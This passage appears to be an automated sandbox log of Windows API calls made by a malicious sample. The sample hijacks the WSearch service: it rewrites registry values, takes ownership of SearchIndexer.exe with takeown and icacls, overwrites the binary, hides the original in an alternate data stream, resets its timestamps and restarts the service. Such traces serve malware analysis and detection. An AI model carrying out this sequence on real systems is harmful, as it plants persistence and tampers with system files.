lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.617] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0180.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0180.617] RegSetValueExA (in: hKey=0x140, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="RPCSS", cbData=0x6 | out: lpData="RPCSS") returned 0x0 [0180.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.617] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.618] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.618] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.618] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.618] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\SearchIndexer.exe /Embedding", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x32 [0180.618] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\SearchIndexer.exe /Embedding", lpDst=0x21f3f08, nSize=0x32 | out: lpDst="C:\\Windows\\system32\\SearchIndexer.exe /Embedding") returned 0x31 [0180.618] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe /Embedding", cbData=0x31 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe /Embedding") returned 0x0 [0180.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0180.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f3f50, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0180.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f3f50, cbMultiByte=48, lpWideCharStr=0x21f2eb0, cchWideChar=48 | out: lpWideCharStr="C:\\Windows\\system32\\SearchIndexer.exe /Embedding") returned 48 [0180.618] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe /Embedding", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\system32\\SearchIndexer.exe" [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0180.618] LocalFree (hMem=0x803ea0) returned 0x0 [0180.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0180.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\SearchIndexer.exe", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0180.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0180.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\SearchIndexer.exe", cchWideChar=37, lpMultiByteStr=0x21f3f08, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\SearchIndexer.exe", lpUsedDefaultChar=0x0) returned 37 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/Embedding", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/Embedding", cchWideChar=10, lpMultiByteStr=0x21f4148, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/Embedding", lpUsedDefaultChar=0x0) returned 10 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0180.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0180.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.619] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0180.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0180.620] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x2) returned 0x803990 [0180.707] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0180.729] CloseServiceHandle (hSCObject=0x803990) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.730] RegCloseKey (hKey=0x140) returned 0x0 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0180.730] RegCloseKey (hKey=0x148) returned 0x0 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0180.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0180.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xf287c130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x90e00)) returned 1 [0180.730] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.730] GetLastError () returned 0x5 [0180.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0180.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0180.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0180.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0180.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0180.731] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\SearchIndexer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\SearchIndexer.exe", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x148, dwProcessId=0x434, dwThreadId=0x6e0)) returned 1 [0180.734] NtClose (Handle=0x148) returned 0x0 [0180.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0180.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0180.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0180.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0180.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0180.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0180.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0180.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0180.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0180.735] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0181.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0181.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0181.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0181.209] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\SearchIndexer.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\SearchIndexer.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x9c, hThread=0x148, dwProcessId=0x704, dwThreadId=0x6fc)) returned 1 [0181.212] NtClose (Handle=0x148) returned 0x0 [0181.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0181.212] NtClose (Handle=0x140) returned 0x0 [0181.212] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0x2710) returned 0x0 [0181.428] NtClose (Handle=0x9c) returned 0x0 [0181.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0181.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0181.428] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0181.428] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xf287c130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x90e00)) returned 1 [0181.428] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0181.428] SetFileTime (hFile=0x9c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0181.428] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x90e00 [0181.428] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0181.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x90e00) returned 0x1a0020 [0181.428] ReadFile (in: hFile=0x9c, lpBuffer=0x1a0020, nNumberOfBytesToRead=0x90e00, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x1a0020*, lpNumberOfBytesRead=0x36f53c*=0x90e00, lpOverlapped=0x0) returned 1 [0181.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x90e00) returned 0x2340020 [0181.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x1a0020) returned 1 [0181.454] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0181.454] WriteFile (in: hFile=0x9c, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0181.455] SetEndOfFile (hFile=0x9c) returned 1 [0181.458] GetFileTime (in: hFile=0x9c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xf287c130, dwHighDateTime=0x1ca0423)) returned 1 [0181.458] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0181.458] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0181.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0181.459] NtClose (Handle=0x9c) returned 0x0 [0181.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe:0" (normalized: "c:\\windows\\system32\\searchindexer.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0181.459] GetLastError () returned 0x2 [0181.459] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe:0" (normalized: "c:\\windows\\system32\\searchindexer.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0181.459] SetFileTime (hFile=0x9c, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0181.459] WriteFile (in: hFile=0x9c, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x90e00, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x36f53c*=0x90e00, lpOverlapped=0x0) returned 1 [0181.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0181.468] SetFileTime (hFile=0x9c, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0181.468] NtClose (Handle=0x9c) returned 0x0 [0181.469] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x10) returned 0x8038a0 [0181.503] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0184.483] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0184.483] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0184.483] GetLastError () returned 0x6 [0184.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0184.485] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0184.486] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0184.486] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0184.486] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x803990 [0184.487] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0184.487] GetLastError () returned 0x426 [0184.487] CloseServiceHandle (hSCObject=0x803990) returned 1 [0184.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0184.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0184.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0184.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0184.487] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0184.487] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0184.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0184.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 